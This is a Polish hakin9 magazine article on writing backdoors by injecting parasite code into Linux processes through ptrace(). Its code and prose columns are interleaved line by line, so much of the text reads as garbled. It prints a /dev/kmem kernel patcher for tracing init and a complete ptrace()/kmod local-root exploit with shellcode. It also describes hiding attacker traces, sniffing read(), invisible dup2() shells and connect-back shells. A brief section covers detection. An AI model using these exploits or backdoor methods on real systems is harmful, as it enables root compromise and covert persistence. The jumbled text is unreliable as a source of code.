kmode = *p & 1; Co możemy zrobić uzbrojeni w tą
gcc_ver = GCC_295;
wiedzę? W sumie jest to to samo, co
}
else
standardowe nadpisywanie funkcji
{ (jeśli jesteś już z tym oswojony), tak
if( ( p = memmem( buffer, BUFSIZE, "\x83\xFB\x10", 3 ) ) ) jak używaliśmy ptrace() do nadpisa-
{ nia i wstrzykiwania kodu. Popaprzmy
p -= 2;
na parę podstawowych możliwości:
c = *p ^ 4;
kmode = *p & 4;
gcc_ver = GCC_3XX; • zmiana wartości zwracanej, np.
} udawane wiadomości z loga itp.;
else • usuwanie plików (wiadomości z
{
loga), które mogłyby odkryć IP
fprintf( stderr, "fatal: can't find patch 1 address\n" );
return( 19 );
atakującego itd.;
} • ukrywanie plików, np. wirusów
} i robaków, czy zaszyfrowanych
write_kmem( p - buffer + ptrace, &c, 1 ); wiadomości w procesie;
printf( " . kp1 @ 0x%08X\n", p - buffer + ptrace );
• nasłuchiwanie (snifowanie) lub
/* get ptrace_attach() address and patch it */
if( gcc_ver == GCC_3XX )
logowanie komunikacji;
{ • uruchamianie powłoki do połą-
p += 5; czenia lub łączenie się w drugą
ptrace += *(int *)( p + 2 ) + p + 6 - buffer; stronę;
read_kmem( ptrace, buffer, BUFSIZE );
• przejmowanie sesji;
p = buffer;
}
• zmienianie znaczników czasu lub
if( ! ( p = memchr( p, 0xE8, 24 ) ) ) sum md5.
{
fprintf( stderr, "fatal: can't locate ptrace_attach\n" ); Jak widać, mamy do dyspozycji cały
return( 20 );
wachlarz metod stawiania furtek. Co
}
ptrace += *(int *)( p + 1 ) + p + 5 - buffer;
ważne, możesz kontrolować całą ko-
read_kmem( ptrace, buffer, BUFSIZE ); munikację procesu, a nawet dokład-
if( ! ( p = memmem( buffer, BUFSIZE, "\x83\x79\x7C", 3 ) ) ) nie cały przepływ wykonania. Możesz
{ dodawać nowe funkcje do niego, lub
fprintf( stderr, "fatal: can't find patch 2 address\n" );
usuwać niektóre (jak funkcje logują-
return( 21 );
}
ce) i możesz też wstawiać niewidzial-
c = ( ! kmode ); ne furtki. Admini zwykle ufają swoim
write_kmem( p + 3 - buffer + ptrace, &c, 1 ); daemonom, więc jeśli zainfekujesz
named, jest duża szansa, że nikt tego
nie namierzy, jeśli nie otworzysz no-

20 hakin9 Nr 1/2007 www.hakin9.org


Pisanie własnych furtek

wego portu. Po prostu pozostawimy Listing 8c. Łata na jądro umożliwiająca ptrace() na init
powłokę na naszym terminalu, żeby
zapobiec łatwemu wykryciu. Zresztą, printf( " . kp2 @ 0x%08X\n", p + 3 - buffer + ptrace );
/* success */
później będzie o tym więcej.
if( c ) printf( " - kernel unpatched\n" );
else printf( " + kernel patched\n" );
Objaśnienia close( kmem_fd );
do różnych furtek return( 0 );
Mamy do dyspozycji wiele możliwych }

furtek, ale chyba nie znasz chyba


wszystkich? Zagłębmy się w szczegó-
ły. Pokażę parę zrzutów ekranu róż-
nych pasożytów w akcji i wyjaśnię, o
co tam chodzi, żeby przedstawić lep-
szy obraz tego, co się tam dzieje.

Infekcja procesu init


za pomocą /dev/kmem
Zwykle nie możesz się podłączyć
do procesu init przez ptrace(). Jed-
nak odpowiednim trikiem możemy
proces init uczynić możliwym do
śledzenia i w ten sposób zainfeko- Figure 2. Infekowanie procesu
wać go pasożytem. Rzućmy okiem
na wywołanie systemowe ptrace()
(sys _ ptrace), znajdujące się w arch/
i386/kernel/ptrace.c:

ret = -EPERM;
if (pid == 1)
/* you may not mess with init */
goto out_tsk;
if (request == PTRACE_ATTACH)
{ Figure 3. Testowanie infekcji

R E K L A M A
Atak

ret = ptrace_attach(child);
Listing 9a. Linux kernel ptrace()/kmod local root exploit goto out_tsk;
}
#include <grp.h>
#include <stdio.h>
#include <fcntl.h> Christophe Devine napisał mały pro-
#include <errno.h> gram, który jest rozprowadzany na li-
#include <paths.h>
cencji publicznej GNU, do załatania
#include <string.h>
#include <stdlib.h>
jądra w czasie wykonywania, żeby
#include <signal.h> można było śledzić init. Załączam
#include <unistd.h> ten kod (patrz Listingi 8). Teraz po
#include <sys/wait.h> załataniu tą metodą /dev/kmem, moż-
#include <sys/stat.h>
na zainfekować proces init. Jednak
#include <sys/param.h>
#include <sys/types.h>
po zainfekowaniu, init nie będzie się
#include <sys/ptrace.h> już znajdował na szczycie procesu
#include <sys/socket.h> i przez to może ujawnić, że system
#include <linux/user.h> został naruszony.
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
Snifer do read()
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d" Wystarczy teorii, skupmy się teraz
"\x00\x00\xcd\x80\x89\xd0\x89\xd3" na konstrukcji sniffera read(). Po
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; prostu wstrzykniemy instrukcje pa-
#define CODE_SIZE (sizeof(cliphcode) - 1)
sożyta w segment kodu, nadpisując
pid_t parent = 1;
pid_t child = 1;
tym samym globalny offset funkcji
pid_t victim = 1; read() tak, aby wskazywała na nasz
volatile int gotchild = 0; kod. Jego wykonanie będzie imito-
void fatal(char * msg) wało funkcję read() z uzupełnieniem
{
o logowanie wszystkiego do określo-
perror(msg);
kill(parent, SIGKILL);
nego pliku. Kod jest wart więcej niż
kill(child, SIGKILL); słowa, więc zacznijmy. Na początek
kill(victim, SIGKILL); spójrzmy na nasz kod zastępczy: (Li-
} sting 6)
void putcode(unsigned long * dst)
Istotną rzeczą, którą w tym miej-
{
char buf[MAXPATHLEN + CODE_SIZE];
scu trzeba odnotować, pozwalającą
unsigned long * src; uniknąć męczącej sesji z debuge-
int i, len; rem, jest to, iż różne wersje gcc trak-
memcpy(buf, cliphcode, CODE_SIZE); tują wywołanie inline asm() inaczej.
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
W związku z tym, nawet jeśli powyż-
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
sze wywołanie działa na niektórych
len += CODE_SIZE + 1; wersjach gcc, na nowszych już nie-
buf[len] = '\0'; koniecznie. Aby temu zaradzić po-
src = (unsigned long*) buf; stąpimy tak jak w pierwszym przyto-
for (i = 0; i < len; i += 4)
czonym przykładzie:
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
} asm("movl $1, %eax\n"
void sigchld(int signo) "movl $123, %ebx\n"
{ "int $0x80\n");
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
Nasz kod zastępczy jest gotowy.
fprintf(stderr, "[+] Signal caught\n"); To podstawa naszej furtki, paso-
if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1) żyt. Przejdźmy teraz do potrzebnych
fatal("[-] Unable to read registers"); funkcji. Komentarze prezentuję po-
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
wyżej funkcji:
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) Furtka przez dup2()
fatal("[-] Unable to detach from victim"); No cóż, ta furtka jest całkiem nie-
exit(0); widzialna i netstat jej nie pokazu-
je. Oczywiście nie korzystamy z

22 hakin9 Nr 1/2007 www.hakin9.org


Pisanie własnych furtek

gniazd, w związku z czym musimy


Listing 9b. Eksploit na lokalnego roota do ptrace()/kmod jądra Linuksa napisać własną implementacje po-
}
włoki. Trzeba przy tym pamiętać,
void sigalrm(int signo) w jaki sposób działa powłoka wią-
{ żąca. Duplikuje (używając dup2) de-
errno = ECANCELED; skryptory, stdout/in/err by podpiąć
fatal("[-] Fatal error");
je pod gniazdko tak, aby nasza po-
}void do_child(void)
{
włoka pokazała się po właściwej
int err; stronie, a nie na serwerze. Nasz
child = getpid(); kod nie używa gniazd, w związku z
victim = child + 1; czym jest niewidzialny dla zwykłe-
signal(SIGCHLD, sigchld);
go admina. Wstrzykiwany kod może
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
uzyskać dostęp do wszystkich da-
while (err == -1 && errno == ESRCH); nych procesu, w tym deskryptorów.
if (err == -1) Gdy łączymy się ze zdalną usługą,
fatal("[-] Unable to attach"); wywoływany jest fork() a następ-
fprintf(stderr, "[+] Attached to %d\n", victim);
nie accept(), więc alokowane są no-
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
we deskryptory, do których chcemy
fatal("[-] Unable to setup syscall trace"); uzyskać dostęp.
fprintf(stderr, "[+] Waiting for signal\n"); Jest kilka na to sposobów: l mo-
for(;;); żemy nadpisać accept() naszą wła-
}
sną implementacją, która zapisze
void do_parent(char * progname)
{
zwracane wartości do jakiegoś pliku,
struct stat st; z którego będzie można je odczytać.
int err; Jest to lepsze niż poprzednio, lecz
errno = 0; nie idealne wyście.
socket(AF_SECURITY, SOCK_STREAM, 1);
l możemy użyć procfs, informa-
do {
err = stat(progname, &st);
cja o stanie używanych deskrypto-
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); rów jest w /proc/ _ pid _ /fd. Po pro-
if (err == -1) stu wygrepuj ostatni deskryptor. Ten
fatal("[-] Unable to stat myself"); wariant nie jest jednak w pełni zado-
alarm(0);
walający, gdyż jego realizacja zajmie
system(progname);
}
z byt dużo miejsca. Również procfs
void prepare(void) może być niedostępny w niektórych
{ systemach.
if (geteuid() == 0) { l metoda dup2. Nie zajmuje do-
initgroups("root", 0);
datkowego miejsca, lecz praw-
setgid(0);
setuid(0);
dopodobnie nie jest uniwersalna.
execl(_PATH_BSHELL, _PATH_BSHELL, NULL); Zwykle proces ma stałą ilość uży-
fatal("[-] Unable to spawn shell"); wanych deskryptorów i możemy
} je wykryć używając strace. Ma-
}
ły przykład z Netstat: $nc -lp 1111.
int main(int argc, char ** argv)
{
czytamy pid, a następnie wykonu-
prepare(); jemy strace -p. Z kolei po komen-
signal(SIGALRM, sigalrm); dzie telnet localhost 1111 odczytu-
alarm(10); jemy zwracaną wartość z accept(),
parent = getpid();
która z reguły jest 3 bądź 4 w więk-
child = fork();
victim = child + 1;
szości przypadków.
if (child == -1)
fatal("[-] Unable to fork"); Połączenie zwrotne
if (child == 0) Zwykle chcemy odpalić powłokę
do_child();
wiążącą, lecz co zrobić w sytuacji,
else
do_parent(argv[0]);
gdy firewall blokuje port? Rozwiąza-
return 0; niem jest połączenie wychodzące.
} Z reguły wszystkie tego typu połą-
czenia są dozwolone, lecz czasami
istnieje ograniczenie do kilku do-

www.hakin9.org hakin9 Nr 1/2007 23


Atak

zwolonych portów. W tym wypad-


ku można sprawdzić DNS (port O autorze
53), WWW (port 80) lub FTP (port Autor jest zaangażowany w działkę bezpieczeństwa IT od ponad 10 lat i pracował jako
21) itd. Ostatnim pozostającym ele- administrator bezpieczeństwa i inżynier oprogramowania. Od 2004 roku jest CEO w
mentem będzie stworzenie kodu firmie GroundZero Security Research w Niemczech. Wciąż pisze kody eksploitów dla
zastępczego do połączenia zwrot- Proof of concept, aktywnie bada sprawy związane z bezpieczeństwem i wykonuje te-
nego, a przy technikach, które by- sty penetracji. Kontakt z autorem: stefan.klaas@gmx.net
ły prezentowane nie powinno sta-
nowić to problemu. Na początek
sugeruję użyć stałej wartości dla
adresu IP takiej jak #define CB_IP W Sieci
127.0.0.1 a następnie po prostu wy- • http://publib16.boulder.ibm.com/pseries/en_US/libs/basetrf1/ptrace.htm - techni-
cal Reference: Base Operating System and Extensions, Volume 1,
konać connect() i odpalić /bin/sh
• http://www.phrack.com/phrack/59/p59-0x0c.txt – budowanie kodu powłokowego
-i.
wstrzykującego przez ptrace(),
• http://www.die.net/doc/linux/man/man2/ptrace.2.html – man 2 ptrace().
Przykład z życia
Po całej tej teorii przyszedł czas na
jakiś rzeczywisty działający kod, zga-
dza się? No to do roboty. Na sche- Dodatek TEN PROGRAM JEST WYŁĄCZ-
macie 1 widać ściąganie wstrzykiwa- 2.4.x kernel patcher pozwala na NIE DO CELÓW EDUKACYJNYCH
cza ptrace(), zwanego malaria, do- ptrace-owanie w procesie init (Co- I JEST DOSTARCZONY W TAKIEJ
stępnego w internecie. pyright (c) 2003 Christophe Devine POSTACI BEZ ŻADNEJ GWARAN-
Odpalmy Netcat w tle. Będzie devine@iie.cnam.fr). Jest to dar- CJI ((c) 2003 Copyright by iSEC Se-
stanowił on nasz cel, który staramy mowy program, który możesz re- curity Research).
się zainfekować. Schemat 2 pokazu- dystrybuować i modyfikować w ra-
je sposób infekcji procesu. mach licencji GNU (General Public Podsumowanie
Teraz, gdy nasz kod powłoko- License) opublikowanej przez Free No dobrze, nauczyliśmy się niezłych
wy jest wczytany do pamięci, może- Software Fundation w wersji dru- sposobów na manipulowanie cho-
my dostrzec na ostatnim ekranie no- giej lub późniejszej. Program ten dzącymi programami w pamięci. Da-
wy nasłuchujący port TCP. Gdy się jest użyteczny, lecz nie daje żad- je nam to wiele możliwości zmienia-
z nim połączymy uzyskamy powło- nych gwarancji, w tym gwarancji nia przepływu wykonania w taki spo-
kę roota! handlowej, ani sprawdzania się w sób, że możemy całkowicie kontrolo-
Był to przykład prostego wstrzy- określonym zastosowaniu. Odsyła- wać program.
kiwacza z Internetu. Istnieją jednak my do GNU General Public Licen- Załóżmy, że mamy Daemona
bardziej zaawansowane wersje ła- se po więcej szczegółów. Powinie- O Zamkniętych Źródłach, który nie
twe do znalezienia, wiec jeśli chcesz neś otrzymać kopię GNU General ma wystarczających elementów lo-
znaleźć i przetestować coś więcej, Public License wraz z tym progra- gujących, a plik z logiem jest mocno
sugeruję przeszukanie Google’a. mem, jeśli nie, możesz napisać do uproszczony, ale my chcemy więcej
Free Software Fundation, Inc., 59 informacji! Normalnie to trzeba by
Ochrona Temple Place, Suite 330, Boston, z tym żyć, albo zażądać poprawek
przed tego typu atakami MA 02111-1307 USA. od dostawcy. Teraz możesz sobie to
Zanim zaprezentujemy sposób Eksploit na lokalnego roota do sam uprościć!
ochrony przed tego typu ataka- ptrace()/kmod jądra Linuksa. Ten Piszesz drobny wstrzykiwacz
mi, najpierw musimy zapoznać się kod wykorzystuje sytuację wyści- ptrace(), który zamienia funkcje lo-
ze sposobem detekcji tego typu in- gu w kernel/kmod.c, który tworzy gujące na twoje, albo po prostu lo-
fekcji. Najlepszym na to sposobem wątek w sposób narażający bez- gujesz wszystko poprzez podpina-
jest porównanie adresów z Global- pieczeństwo. Ta dziura pozwala na nie się pod read()/write() czy po-
nej Tablicy Przesunięć. Można rów- ptrace() w sklonowanym procesie, dobnych.
nież napisać lkm, które limituje wy- dając możliwość uzyskania kontro- Zwykle ta wiedza jest wykorzy-
konanie ptrace() do root-a, gdyż jeśli li nad uprzywilejowanym plikiem bi- stywana przez testery penetracji z
atakujący posiada juz prawa root-a, narnym modprobe. Powinno dzia- powłoką z wstrzykiwaczem ptrace()
nie ma się już co martwić o to, jakiej łać pod każdym jądrem 2.2.x i 2.4.x. do włamania się na chroot, albo ha-
furtki używa, ale można się dowie- Odkryłem ten głupi błąd niezależnie kerów do furtkowania binariów, ale ta
dzieć, jak uzyskał do niej dostęp, a 25 stycznia 2003, tzn. (prawie) dwa wiedza daje ci też większą elastycz-
następnie czeka cię reinstalacja. Ta- miesiące przed poprawką i jej opubli- ność w pracy administratorskiej przy
kie lkm-y istnieją od lat i nie powinno kowaniem przez Red Hata i innych. pracy z oprogramowaniem zamknię-
być trudno je znaleźć. Wojciech Purczyński cliph@isec.pl. tym. l

24 hakin9 Nr 1/2007 www.hakin9.org

You might also like